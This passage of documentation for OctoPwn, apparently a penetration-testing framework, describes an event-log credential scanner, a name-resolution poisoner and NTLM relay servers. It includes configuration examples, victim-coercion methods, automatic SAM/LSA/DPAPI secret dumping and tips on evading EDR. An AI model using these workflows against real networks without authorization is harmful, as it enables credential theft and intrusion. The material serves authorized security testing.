configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `smbpshistory` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Post-exploitation secrets] event6secrets Source: https://docs.octopwn.com/plugins/scanners/event6secrets.html # Event Log Secrets Scanner (event6secrets) The **Event Log Secrets Scanner** mines Windows Event Logs on each target host for entries that contain embedded secrets — credentials, tokens, keys — by reading the logs remotely via SMB (port 445). Internally it relies on the `Event6` library to parse event-log records and extract secret material that Windows occasionally logs in plaintext, including: - Scheduled task definitions where the credential was passed inline. - `4688` process-creation events with the password on the command line (`-Password`, `/p`, `psexec -p`, …). - `4624` / `4625` logon events that captured cleartext passwords when WDigest or specific GPO settings were active. - Generic application logs that contain hard-coded credentials in error or audit messages. Each result row contains the target IP, the raw event-log entry that matched and the extracted secret. This is a **post-exploitation** reconnaissance technique: once you have authenticated access (typically local admin) to a host, mining its event logs frequently reveals additional credentials that enable lateral movement to other systems. !!! tip "Combine with other secret-mining scanners" - [smbpshistory](smbpshistory.md) — PSReadline command history files. - [smbregsession](smbregsession.md) — local user SIDs from registry. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Local-admin privileges are typically required to read security event logs. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. Note: parsing every record on a busy server can be slow — bump this if scans get cancelled prematurely. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `event6secrets` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Servers] Overview Source: https://docs.octopwn.com/plugins/servers/overview.html # Servers — overview OctoPwn's **servers** host network services from inside the framework so you can run the classic "rogue server" attack patterns — name-resolution poisoning, NTLM relaying, WebDAV / HTTP loot-drop sinks, AD CS Web Enrollment relays, and more — without having to juggle separate Responder / ntlmrelayx / Inveigh deployments. Unlike the equivalent standalone tools, OctoPwn ships these as **separate, focused sessions**. The poisoning layer (LLMNR / mDNS / NBT-NS) is one module; each authentication collector / relay is its own module. You typically start two or more sessions in parallel — one to misdirect victims, one (or several) to handle the resulting authentication. ## Where servers run Every server module binds its sockets inside the **OctoPwn agent process**, not in the browser. In a typical setup that is: - **Pro / WASM mode**: the wsnet agent on whichever native host you are bridging the browser to. - **Enterprise mode**: the OctoPwn server process on whichever host it is deployed. A purely browser-only deployment (no native bridge) cannot host servers — there is no raw-socket access from Emscripten. Each server page calls out the specific platform caveats that apply (privileged ports, conflicts with the host's own services, the same L2 / multicast segment as the victims, etc.). ## Available servers The currently shipped server modules: - **[Spoofer](spoofer.md)** — unified LLMNR + mDNS + NBT-NS poisoner. Replaces the legacy single-protocol `LLMNR`, `MDNS` and `NBTNS` servers. Pair it with one or more Relay servers below to capture or relay the resulting authentication. - **NTLM relay family** — five focused variants, one page per back-end: - **[RelaySMB](relaysmb.md)** — relay to a list of SMB targets, auto-loot via `regdump` + `dpapisecrets` on success. - **[RelayLDAP](relayldap.md)** — relay to LDAP / LDAPS / StartTLS DCs for ACL writes, RBCD, Shadow Credentials, etc. - **[RelayMSSQL](relaymssql.md)** — relay to MSSQL servers, useful for SQL-coercion chains and service-account abuse. - **[RelayESC8](relayesc8.md)** — relay to AD CS Web Enrollment, output is a ready-to-use PFX certificate. - **[RelayNTLMReflection](relayreflection.md)** — relay back to the source host (the classic CVE-2019-1040-style self-relay path). Additional server modules — `WSNET` (agent bridge), `HTTPFILE`, `WEBDAV`, `REMOTECONTROL`, `REMOTECONTROLJS` — are exposed by the framework and will be documented in subsequent passes. ## Typical workflow 1. **Pick the auth-collection server(s)** you want to use, based on what you intend to capture or relay onto. Start them and verify in their consoles that they are listening. 2. **Get a victim to authenticate to the agent** — either by abusing an existing misconfiguration (writable share with malicious `desktop.ini`, MS-RPRN coercion via the [SMB client's printerbug](../clients/smb.md#ntlm-coercion), AD CS template, crafted email, …) **or** by starting the [Spoofer](spoofer.md) and luring the victim onto the agent's IP. 3. **Watch the relay-server consoles** for captured / relayed sessions. 4. **Process the captured material** — Net-NTLMv2 hashes can be cracked offline (Hashcat et al.); machine-account credentials and AD CS certificates are auto-stored in the project's Credentials Hub for use in subsequent client sessions. --- # [Servers] spoofer Source: https://docs.octopwn.com/plugins/servers/spoofer.html # Spoofer Server (LLMNR + mDNS + NBT-NS) The **Spoofer Server** is OctoPwn's unified Layer-2 name-resolution poisoner. A single session brings up **three** UDP listeners side by side and feeds them all from the same configuration: | Listener | Port | Discovery model | Privileged? | | -------- | --------- | ----------------------- | ------------------------ | | LLMNR | `5355/UDP` | IPv4/IPv6 multicast | No | | mDNS | `5353/UDP` | IPv4/IPv6 multicast | No | | NBT-NS | `137/UDP` | IPv4 broadcast | **Yes** (port < 1024) | It runs in two modes: - **Analysis mode** (default) — log every name-resolution request that reaches the host. No replies are sent. Every requesting IP is automatically added to the project's Targets pane (`source = LLMNR / MDNS / NBTNS`), so just *listening* gives you free passive recon of which hosts are confused about names on the segment. - **Spoof mode** — for matching requests, send a forged answer pointing the victim at the IP of your choice (the agent host itself, by default). The victim then connects to whatever auth-collection / relay server you have running on that IP. --- ## How this differs from Responder / Inveigh / ntlmrelayx If you have used Responder before, the OctoPwn split will feel unusual. Responder is a single binary that does **both** the poisoning **and** the auth-collection (rogue SMB / HTTP / LDAP / MSSQL / WPAD servers, hash logging, basic relaying). OctoPwn deliberately splits these into two layers: - **This server** is *only* the L2 poisoner — it answers LLMNR / mDNS / NBT-NS queries. It does **not** speak SMB, HTTP, LDAP, etc. and it does **not** capture NTLM hashes by itself. - The actual auth-handling and hash collection happens in separate relay servers — [`RELAYSMB`](relaysmb.md), [`RELAYLDAP`](relayldap.md), [`RELAYMSSQL`](relaymssql.md), [`RELAYESC8`](relayesc8.md), and [`RELAYNTLMREFLECTION`](relayreflection.md). Each of those is its own session and listens on its own port. To get the Responder workflow you would expect — *"I just want to spoof everyone and catch hashes"* — start **two** sessions: this Spoofer (with `spoof=True`) and at minimum a `RELAYSMB` server. The Spoofer sends victims to the agent's IP; the `RELAYSMB` server on `445/TCP` catches the resulting SMB authentication. Other concrete differences: | Topic | Responder / Inveigh | OctoPwn Spoofer | | ------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------ | | Where it runs | Native binary on the attacker box | Inside the OctoPwn agent process (browser-only WASM cannot do raw sockets) | | Concurrency | One binary runs everything | Spoofer = poisoning only; Relay servers = separate sessions | | Hash logging | Files in the working directory | Goes through the project; the relay servers also auto-store credentials | | Selective spoofing | `--analyze` / `-w` flags, hard-coded blacklist | `spooftable` DSL — `host,ip;host,ip;...` with `*` wildcard and `SELF` | | Free recon | Log file you have to grep | Every requester is auto-added to the project Targets pane | | Native-responder coexistence | Responder kills/refuses-to-start on conflicts | Same constraint, but no built-in conflict killer — see "Operational requirements" | --- ## Operational requirements Before you start a Spoofer session, please confirm all of the following — this is the single biggest source of "the server starts but I never see anything" tickets. ### 1. The Spoofer runs on the agent host, not in the browser Like every other server in OctoPwn, the Spoofer's UDP listeners are bound by the OctoPwn agent that the project is connected to. In a typical setup that is: - **Pro / WASM mode**: the wsnet agent on whichever native host you are using to bridge the browser to the network. - **Enterprise mode**: the OctoPwn server process on whichever host it is deployed. A purely browser-only deployment with no native bridge **cannot** run this server — `get_localip()` returns `None` under Emscripten and every protocol bails with "Could not determine local IP address!". The session will start, but the listeners will silently refuse to spoof. ### 2. Privileged port for NBT-NS NBT-NS uses `137/UDP`, which is below 1024 and therefore privileged on every modern OS: - **Linux**: run the agent as `root`, or grant the agent process `CAP_NET_BIND_SERVICE` (`setcap cap_net_bind_service=+ep <python-interpreter>`). - **macOS**: run the agent as `root` (`sudo`). - **Windows**: run the agent as Administrator. Note that on Windows the **NetBIOS Helper** service (`lmhosts`) typically has port 137 already bound; see point 4. LLMNR (`5355/UDP`) and mDNS (`5353/UDP`) are unprivileged, so the spoofer can still bring those two up if NBT-NS fails to bind — the failure is logged but does not abort the session. ### 3. The agent must be on the same broadcast / multicast segment as the victims Name-resolution poisoning is a Layer-2 game: LLMNR and mDNS rely on IPv4/IPv6 multicast, NBT-NS on IPv4 subnet broadcast. The agent host has to be on the **same VLAN / subnet** as the victims you want to poison. Routed pivots, VPN tunnels and similar Layer-3 transports do not carry these queries, so an agent dropped onto a flat user VLAN works; an agent sitting in a DMZ does not. ### 4. Conflicts with the host's own name-resolution stack Whichever ports the host already has bound, the Spoofer cannot also bind. Common offenders: - **Linux**: `systemd-resolved` listens on `5355/UDP` for LLMNR; Avahi listens on `5353/UDP` for mDNS. Stop or disable them on the agent host before starting the Spoofer (`systemctl stop systemd-resolved avahi-daemon`). - **macOS**: `mDNSResponder` (Bonjour) owns `5353/UDP`. There is no clean way to share it with another listener; macOS is generally a poor agent host for the Spoofer. - **Windows**: the **DNS Client** service handles LLMNR (5355) and the **TCP/IP NetBIOS Helper** (`lmhosts`) handles NBT-NS (137). Disable both services to free the ports. If a port is held by the host, the corresponding listener will fail with `Failed to start <PROTO> server!` and the Spoofer will continue with whatever it *could* bind. ### 5. Set `localip` and `interface` explicitly The `localip` parameter is what the spoofed answers will point victims at, and the `interface` parameter is what the listeners bind to. Both default to `None` — meaning "auto-detect" — which works on most native agents but is fragile when: - The agent host has multiple interfaces / addresses. - The agent is reached via a wsnet proxy (the auto-detected address may be the wsnet endpoint, not the address victims can actually reach). - You explicitly want victims to authenticate to a different host than the one running the Spoofer (e.g. the host running your `RELAYSMB` server). When in doubt, set both. `localip` is also the IP that `SELF` in the `spooftable` resolves to. --- ## Parameters All parameters are exposed in the session settings panel and can also be set with `setparam <name> <value>` from the console. ### Normal parameters #### `spoof` Boolean. When `False` (default) the server runs in **analysis mode**: it observes and logs every name-resolution query it sees but does not respond. Set to `True` to start sending forged answers based on `spooftable`. The `spoof` command toggles this on directly. #### `spooftable` A small DSL describing **which** queries to answer and **with what IP**. Format: ``` <match>,<respond_with>;<match>,<respond_with>;... ``` - Multiple entries are separated by `;`. - Each entry has two comma-separated parts: - **`<match>`** — the queried hostname to react to. Use `*` to match every query. Matching is case-insensitive (uppercase for NBT-NS, lowercase for LLMNR / mDNS, per each protocol's own conventions). - **`<respond_with>`** — the IP to put in the answer. Use `SELF` to mean "whatever `localip` resolves to on the agent". Otherwise use a literal IPv4 or IPv6 address. Default: `*,SELF` — answer every query with the agent's local IP. The default is wide on purpose; once you understand which hosts are interesting, narrow it down. Examples: ``` *,SELF fileserver,SELF fileserver,SELF;wpad,10.0.0.5 *,10.10.10.10 contoso-dc,SELF;intranet,10.0.0.7 ``` The `spooftarget <host> [<ip>]` command appends a single entry to the table without having to retype the whole DSL. #### `localip` Local IP address to advertise in spoofed answers. Required when running through a wsnet proxy or whenever the auto-detected source IP is wrong (see "Operational requirements §5"). The literal `SELF` keyword in `spooftable` resolves to this address. #### `interface` Interface / source address to bind the UDP listeners to. Defaults to the wildcard bind on most platforms. Set this on multi-homed hosts to constrain the Spoofer to a single network. ### Advanced parameters #### `proxy` Proxy ID to route the server's outbound traffic through. The Spoofer is mostly inbound (it listens for queries and replies on the same socket), so this is rarely useful for the poisoner itself, but it is exposed for symmetry with the other server modules. #### `resultsfile` Optional file in OctoPwn's `/browserfs/volatile` directory where structured results can be persisted. The console output is the primary record either way. --- ## Commands The Spoofer inherits the standard server console (`start`, `stop`, `setparam`, `getparam`, `params`, `info`, …) and adds two convenience commands: #### `spoof` Equivalent to `setparam spoof True`. Flips the running session into spoofing mode without stopping it. #### `spooftarget <host> [<ip>]` Append a single entry to `spooftable` without retyping the whole DSL. `<ip>` defaults to `SELF`. Useful workflow: ``` spooftarget fileserver01 # spooftable becomes "*,SELF;fileserver01,SELF" spooftarget wpad 10.10.10.20 # ...; wpad,10.10.10.20 ``` (Note: `spooftarget` *appends*; if you want to start clean, set `spooftable` directly with `setparam`.) --- ## Typical workflow A standard Responder-style engagement maps to two or three OctoPwn sessions: 1. **Start the Spoofer in analysis mode** (`spoof=False`, default `spooftable`). Every requester is auto-added to the project's Targets pane with source label `LLMNR` / `MDNS` / `NBTNS`. Watch the console for a few minutes — you will see workstations asking for misspelled file shares, autodiscover URLs, retired servers, fat-fingered hostnames, and so on. These are your candidates. 2. **Decide what to poison.** A blanket `*,SELF` works against a quiet network but tends to be noisy on a busy LAN — every laptop's `wpad`, `isatap` and Bonjour chatter will get an answer. For a controlled test, point `spooftable` at one or two specific names you saw in step 1. 3. **Start the auth-collection servers.** This is where Responder users have to break their muscle memory: the Spoofer itself will not catch a single NTLM hash. You need one or more of the relay servers running on the agent's IP: - [`RELAYSMB`](relaysmb.md) on `445/TCP` — for the SMB-bound queries that LLMNR / NBT-NS poisoning usually triggers. - [`RELAYLDAP`](relayldap.md) on `389/TCP` — for clients that resolve DCs through name resolution. - [`RELAYMSSQL`](relaymssql.md) on `1433/TCP` — for SQL Browser-misled clients. - [`RELAYESC8`](relayesc8.md) on `80/TCP` (or `443/TCP`) — for AD CS Web Enrollment relays. - [`RELAYNTLMREFLECTION`](relayreflection.md) — for the NTLM-reflection self-relay path. 4. **Flip the Spoofer to spoof mode** (`spoof True` or `setparam spoof True`). Victims now get steered onto the agent's IP, where the relay servers handle the resulting authentication and either store the captured credentials or relay them onwards. 5. **Iterate on `spooftable`** based on what shows up in the relay-server consoles. Use `spooftarget` to add interesting names without touching the whole table. --- ## Limitations & gotchas - **Browser-only / pure WASM cannot spoof.** `get_localip` returns `None` under Emscripten and the per-protocol handlers refuse to send forged answers in that case. Run the spoofer through a wsnet agent or on the enterprise-mode server. - **No IPv6-only victims.** All three handlers attempt IPv4 answers first; IPv6 is supported in the answer construction code but only when the resolved `localip` is itself an IPv6 address. In practice the Spoofer is IPv4-first. - **No `wpad`-aware logic.** Unlike Responder, the Spoofer does not have a built-in list of "always-spoof / never-spoof" names — `*,SELF` will happily answer `wpad`, `isatap`, broadcast Bonjour discovery, the lot. Narrow `spooftable` if this is a concern. - **No NTLM hash storage in this server.** Captured Net-NTLM hashes appear in the consoles of the **relay servers**, not here. - **The `proxy` parameter does not tunnel multicast.** UDP multicast and broadcast do not survive most proxy implementations; `proxy` is useful for outbound TCP relay servers, less so here. - **Conflicts with the host's name-resolution stack** are by far the most common failure mode (see Operational requirements §4). When a listener fails to start, only the unaffected listeners run — the session does not abort. --- # [Servers] relaysmb Source: https://docs.octopwn.com/plugins/servers/relaysmb.html # RelaySMB Server The **RelaySMB** server is OctoPwn's NTLM relay variant aimed at **SMB targets**. It runs a set of front-end listeners (SMB, HTTP, HTTPS, HTTP-proxy by default), waits for an inbound NTLM authentication, and on success forwards the in-flight NTLM exchange into a fresh SMB connection against one of the configured targets. Every successful relay spawns a real interactive **SMB2 client session** in the project — already authenticated, already attached to the new target — and (by default) immediately runs registry and DPAPI secrets dumps against the relayed host. | Inbound listener (front) | Outbound target (back) | | -------------------------------------------- | ---------------------- | | `smb`, `http`, `https`, `httpproxy`, `mssql` | SMB on `targets` | The listener side is **shared** with the rest of the relay family ([`RELAYLDAP`](relayldap.md), [`RELAYMSSQL`](relaymssql.md), [`RELAYESC8`](relayesc8.md), [`RELAYNTLMREFLECTION`](relayreflection.md)) — the only thing that changes between variants is what gets done with the relayed authentication on the back-end. The full description of the listener-side parameters lives at the bottom of this page; the sibling pages link back here for the deep dive. --- ## How it works 1. Bring up one or more listeners (SMB / HTTP / HTTPS / HTTP-proxy / MSSQL) on the agent host. 2. A victim authenticates to one of those listeners — typically because they were coerced (PrinterBug, MS-EFSRPC, WebDAV, etc.) or because their name resolution was poisoned by the [Spoofer server](spoofer.md). 3. The incoming NTLM challenge / response is **not validated locally**; it is shuttled into a fresh outbound SMB connection (`aiosmb.SMBConnection`) opened against the next target in `targets`. Targets are walked round-robin (`itertools.cycle`). 4. On the outbound side OctoPwn forces `nosign=True`, so the relay only succeeds against targets where SMB signing is **not enforced**. 5. The captured Net-NTLM hash is added to the project's **Credentials Hub** with `source = RELAYED`, deduplicated against existing entries. 6. A `SHARE_ENUM_ALL` is issued as a *liveness check* — if listing shares works, the relay is considered successful. 7. A new **SMB2 client session** is created with `description = RELAYED`, attached to the relayed connection via `setup_relay()`. This session behaves like any other interactive SMB client — you get a fully featured SMB console, file browser, registry dumper, etc. 8. **Auto-loot** (default ON for both): `regdump` triggers `regdump2` against the relayed host (SAM / LSA / DCC / cached secrets), and `dpapisecrets` triggers `dpapisecretsremoteregdump` (DPAPI master keys harvested through the remote registry path). If the relayed account is a local administrator on the target, you walk away with offline-crackable secrets without a single extra command. !!! warning "SMB-to-SMB only works when signing is *not* enforced" NTLM relay against SMB has the same fundamental constraint as ntlmrelayx: if the target SMB server enforces signing, the relayed session is dropped during negotiation and you will see `list_shares` fail in the relay-server console. Run [`smbsig`](../scanners/smbsig.md) against your target list first to filter out enforced hosts. !!! warning "Cross-protocol relay is restricted" NTLMv2 with the **MIC** present (modern Windows clients without CVE-2019-1040) cannot be cross-protocol-relayed: SMB-in → SMB-out works, HTTP-in → SMB-out works for many HTTP coercion paths but fails when the client adds a target binding. If a relay is silently rejected at the auth-handshake stage, enable `debug` on the server and watch for `ntlm_data` warnings. --- ## Operational requirements The relay listeners run **inside the OctoPwn agent**, not in the browser. That means the agent host has to satisfy a handful of constraints, and most "the server starts but no authentication ever lands" tickets boil down to one of these. ### 1. Privileged ports Out of the box the listeners use: | Listener | Default port | Privileged? | | ---------- | ------------ | ------------------------ | | SMB | `445/TCP` | **Yes** (port < 1024) | | HTTP | `80/TCP` | **Yes** | | HTTPS | `443/TCP` | **Yes** | | HTTP-proxy | `8080/TCP` | No | | MSSQL | `1433/TCP` | No | To bind any of the privileged ports the agent must be running as `root`/Administrator, or on Linux the Python interpreter must hold `CAP_NET_BIND_SERVICE` (`setcap cap_net_bind_service=+ep <python-interpreter>`). You can move them to high ports with `smbserverport` / `httpserverport` / `httpsserverport` (see "Listener-side parameters" below) — but moving the SMB port off `445` only works for coercion paths that let you specify an explicit port (e.g. WebDAV via `\\host@8080\share\...`). PrinterBug and similar protocols always come back to `445`. ### 2. Conflicts with native services Whichever ports the host already has bound, the relay cannot also bind: - **Windows**: the **Server** service owns `445`. Disabling it is intrusive and not always reversible without a reboot. In practice, **the SMB listener is impractical on a Windows agent** — use a Linux agent for relay work. - **Linux**: Samba's `smbd` if installed; `apache`/`nginx`/`lighttpd` if a web server is running. Stop them before starting the relay. - **macOS**: `smbd` (`/usr/sbin/smbd`), Apple's web stack, etc. Generally a poor agent host for relays. When a listener fails to bind, the rest still come up — the relay session does not abort. Watch the server console output at startup for `... server failed to start! Reason: ...`. ### 3. WASM / browser-only deployments A pure-browser deployment with no native bridge cannot host these listeners — sockets are not available. In WASM mode, the agent (wsnet) is doing the binding on its own host; the project just steers it through the wsnet proxy. When `platform.system() == 'Emscripten'` and `connectproxy` is unset, OctoPwn auto-fills it with proxy `0` so the outbound SMB connection on the back-end also goes through the same agent. ### 4. The agent IP must be reachable from the victims Whatever address the victims use to reach the relay (the IP they were coerced or poisoned to) must be reachable on the right port. If you're behind NAT or a wsnet proxy, set `serverproxy` / `connectproxy` to route both halves of the connection through the right agent. --- ## Relay-specific parameters These are the parameters unique to **`RELAYSMB`**. The full list of the shared listener-side parameters (`servertypes`, `serverip`, `*serverport`, `serverproxy`, `debug`, `ntlmallowguest`, `ntlmreflection`) is at the bottom of this page. ### Normal parameters #### `targets` Comma-separated list of SMB targets to relay to. Hostnames or IP addresses. **Required.** The list is walked round-robin: each new inbound auth is sent to the next entry. #### `regdump` Default: `True`. After a successful relay, automatically run `regdump2` against the relayed host. This dumps `SAM`, `LSA`, cached domain credentials and the machine account secrets via the remote registry — same as `secretsdump.py -just-dc-user '*' <host>` would on Linux, but using the relayed session instead of a credential. Set this to `False` if you only want the relayed shell and want to dump manually later (e.g. you are worried about EDR noise or want the connection idle for further use). #### `dpapisecrets` Default: `True`. After a successful relay, automatically run `dpapisecretsremoteregdump` against the relayed host — extract DPAPI master keys via the remote registry path. Combined with `regdump`, this is what gives you offline-crackable DPAPI loot from a single relayed admin auth. ### Advanced parameters #### `connectproxy` Proxy ID to use for the **outbound** SMB connection to `targets`. This is independent of `serverproxy` (which is the listener-side proxy). On WASM this is auto-set to `0` if unset, so the outbound traffic also goes through the wsnet agent. --- ## Listener-side parameters (shared) Every relay variant shares this set of listener parameters. They configure **what the agent listens on**, not what it relays to. ### Normal parameters #### `servertypes` List of front-end listeners to start. Default: `smb,http,https,httpproxy`. Valid entries: | Value | Listener | Default port | | ----------- | ------------------------- | -------------- | | `smb` | NTLM-relaying SMB server | `445/TCP` | | `http` | NTLM-relaying HTTP server | `80/TCP` | | `https` | NTLM-relaying HTTPS server (snake-oil cert) | `443/TCP` | | `httpproxy` | NTLM-relaying HTTP proxy | `8080/TCP` | | `mssql` | NTLM-relaying TDS server | `1433/TCP` | For SMB targeting, `smb` is essential and `http` / `https` are useful (PrinterBug, WebDAV-coercion, browser-pop pop-ups, AutoDiscover, etc.). `httpproxy` matters if you plan to advertise the agent via WPAD; `mssql` is irrelevant here and can be turned off to avoid the port conflict if SQL Server runs on the agent host. #### `serverip` IP address to bind the listeners to. Default `0.0.0.0` (all interfaces). Set this to the agent's actual interface IP if you have multiple NICs and want to avoid binding on the wrong one. ### Advanced parameters #### `smbserverport` / `httpserverport` / `httpsserverport` / `httpproxyserverport` / `mssqlserverport` Listening ports for each front-end protocol. Defaults: `445`, `80`, `443`, `8080`, `1433`. Useful when the standard port is already taken, or when you intentionally want to use a high port from a coercion path that supports it (e.g. `\\host@8080\...` for WebDAV). #### `serverproxy` Proxy ID for the **listener** side. Tells the wsnet agent where to expose the listening sockets — typically the same agent that the project is connected through. On WASM this is auto-set to `0` if unset. #### `ntlmallowguest` Default: `True`. Allow inbound clients that authenticate as Guest. Most Windows hosts silently fall back to Guest when the supplied credential is wrong; relaying a Guest session is rarely useful but the credential is stored for visibility. Set to `False` to hard-drop those. #### `ntlmreflection` Default: `False`. Allow the NTLM relay engine to accept relays where the auth target is the **same machine** that initiated the connection (NTLM reflection). This is what `RELAYNTLMREFLECTION` enables under the hood; on `RELAYSMB`, leaving it `False` matches the historical safe default. #### `debug` Default: `False`. Enable verbose tracebacks and per-connection logging on the server console. Indispensable when relays are silently rejected — turn this on first before opening a support thread. --- ## Commands The standard `ScannerConsoleBase` commands apply (`setparam`, `getparam`, `params`, `info`, `serve`, `stop`, `historylist`, …). The relay-specific entry point is: #### `serve` Start the listeners with the configured parameters. Equivalent to clicking **Start** on the session window. Internally calls `do_serve` and creates one `asyncio` task per listener plus one task that drains the auth-relay queue and calls `handle_smb_relay` for each captured authentication. #### `stop` Stop all listener tasks and the relay-handler task. The interactive client sessions spawned by previous successful relays are **not** closed — they remain available in the project as normal SMB2 sessions you can keep using. --- ## Typical workflow 1. **Pick the agent host carefully.** Linux, ports `80/443/445/8080` free, and same VLAN as your victims (or directly reachable from the coercion source). 2. **Filter the target list.** Run [`smbsig`](../scanners/smbsig.md) against your intended `targets` and keep only the hosts where signing is *not enforced*. 3. **Start `RELAYSMB`** with `targets=<filtered list>`. Leave `regdump=True` and `dpapisecrets=True` if you want auto-loot; set them to `False` if you want quiet relays for follow-up commands. 4. **Drive authentication into the listener.** Three common ways: - Run [`Spoofer`](spoofer.md) in spoof mode in a separate session — LLMNR / mDNS / NBT-NS poisoning will steer mistyped names to the agent. - Coerce a specific target with `coerce` from an [SMB client](../clients/smb.md) session (PrinterBug, MS-EFSRPC, MS-DFSNM, …). - Coerce via a malicious file path (`\\agent\share\file.lnk` in an emailed document, an `img` element pointing at the agent, etc.). 5. **Watch the relay console.** A successful relay prints `SMB relay worked!` and a new session ID. Switch to that session — you have a live SMB2 client on the relayed host. 6. **Iterate.** Adjust `targets` or restart with new ones; previous interactive sessions stay open. --- ## Limitations & gotchas - **Signing-enforced targets are silently rejected.** The first sign is `list_shares` failing in `debug` mode. Pre-filter with [`smbsig`](../scanners/smbsig.md). - **NTLMv2 + MIC + channel binding** on modern, patched clients defeats most cross-protocol paths. SMB-in → SMB-out is fine; HTTP-in → SMB-out is fragile. - **`nosign=True`** is hard-coded on the outbound side. There is no way to negotiate signing on the relayed connection — the assumption is "signing is off". - **Guest auth** is allowed by default and floods the credential database with `Guest::DOMAIN:...:fullhash`. Set `ntlmallowguest=False` for a tidier project. - **The auto-loot pair (`regdump` + `dpapisecrets`) is loud** — full registry hive parsing and DPAPI master key extraction are visible to any half-decent EDR. Disable both for stealthier engagements. - **Targets are walked round-robin.** A single victim authentication relays to **one** target, not all of them. To hit every target you need either many victim authentications or a poisoning loop that keeps generating them. - **Listeners that fail to bind do not abort the session.** Always re-read the server console at startup to confirm which listeners actually came up. --- # [Servers] relayldap Source: https://docs.octopwn.com/plugins/servers/relayldap.html # RelayLDAP Server The **RelayLDAP** server is the NTLM relay variant aimed at **LDAP / LDAPS / StartTLS** back-ends. Inbound NTLM authentications are forwarded into a fresh `MSLDAPClientConnection` against one of the configured `targets`, and on success the relayed connection is wrapped into a real interactive **LDAP client session** in the project — already bound and ready to issue queries, modify ACLs, write `msDS-AllowedToActOnBehalfOfOtherIdentity`, enroll certificates, and so on. | Inbound listener (front) | Outbound target (back) | | -------------------------------------------- | ---------------------------------------------- | | `smb`, `http`, `https`, `httpproxy`, `mssql` | LDAP / LDAPS / StartTLS on `targets` | The listener side is **shared** with the rest of the relay family — see the **"Listener-side parameters (shared)"** section in [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the full reference. This page documents only the LDAP-specific parameters and behaviour, plus the constraints that matter for LDAP relaying specifically. --- ## Why LDAP relaying is special Among the relay variants, LDAP is the one with the most fragile cross-protocol matrix and the highest payoff. A successful LDAP relay against a Domain Controller hands you a bound LDAP session as the relayed account — and from there you can perform virtually every ACL-based AD attack: - Add yourself / your computer to a privileged group. - Set `msDS-AllowedToActOnBehalfOfOtherIdentity` on a target computer (RBCD → S4U2self → S4U2proxy). - Enroll a certificate (Shadow Credentials via `msDS-KeyCredentialLink`, or push a certificate into a user object via the LDAP client's certify flows). - Disable account flags, change `userAccountControl`, push GPO links, etc. …provided two things hold on the DC: 1. **LDAP signing is *not* enforced.** Microsoft hardened this on most modern DCs. If `msldap.connection` reports a signing/integrity error during bind, the DC rejects unsigned LDAP and the relay is dead in the water. 2. **For LDAPS, channel binding is *not* enforced.** Channel-binding tokens (EPA) bind the NTLM MIC to the TLS exterior; an attacker MitM that replaces the TLS endpoint cannot reproduce it. Modern DCs default this on; older / unpatched ones do not. Pre-flight with [`ldapsig`](../scanners/ldapsig.md) to detect signing-enforcement posture before relying on a target. !!! warning "Cross-protocol relay rules" Because OctoPwn's LDAP relay uses NTLM in **SICILY** mode (the legacy "raw NTLM bind" protocol that LDAP exposes alongside SASL), it bypasses some of SPNEGO's cross-protocol restrictions. In practice the most reliable inbound path is **HTTP** (or HTTPS / HTTP-proxy) — coerced via WebDAV. SMB-in → LDAP-out is blocked by the NTLM MIC + channel-binding values that modern Windows clients add to SMB-bound NTLM blobs. **Run with `servertypes=http,https,httpproxy`** for LDAP relaying unless you have a specific reason to keep SMB on. --- ## Operational requirements The same requirements as the rest of the relay family apply — see [`RELAYSMB` Operational requirements](relaysmb.md#operational-requirements). Two LDAP-specific considerations: - **You don't need the SMB listener.** Disable it (`servertypes=http,https,httpproxy`) so port `445` on the agent doesn't conflict with anything *and* you don't waste relays on traffic that won't translate to LDAP. - **DC reachability.** The agent must reach `389/TCP` (or `636/TCP` for LDAPS) on the Domain Controllers in `targets`. If the agent is behind a wsnet proxy, set `connectproxy` so the outbound LDAP connection routes through it as well. --- ## Relay-specific parameters These are the parameters unique to **`RELAYLDAP`**. See [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the listener-side parameters shared by every relay variant. ### Normal parameters #### `targets` Comma-separated list of LDAP servers (DC FQDNs / IPs) to relay to. **Required.** Walked round-robin: each new captured authentication is sent to the next entry. #### `ldapprotocol` Default: `LDAP`. One of: | Value | Outbound transport | Outbound port | | ---------- | ------------------------------ | --------------- | | `LDAP` | Plain LDAP | `389/TCP` | | `LDAPS` | LDAP over TLS | `636/TCP` | | `STARTTLS` | Plain LDAP upgraded with 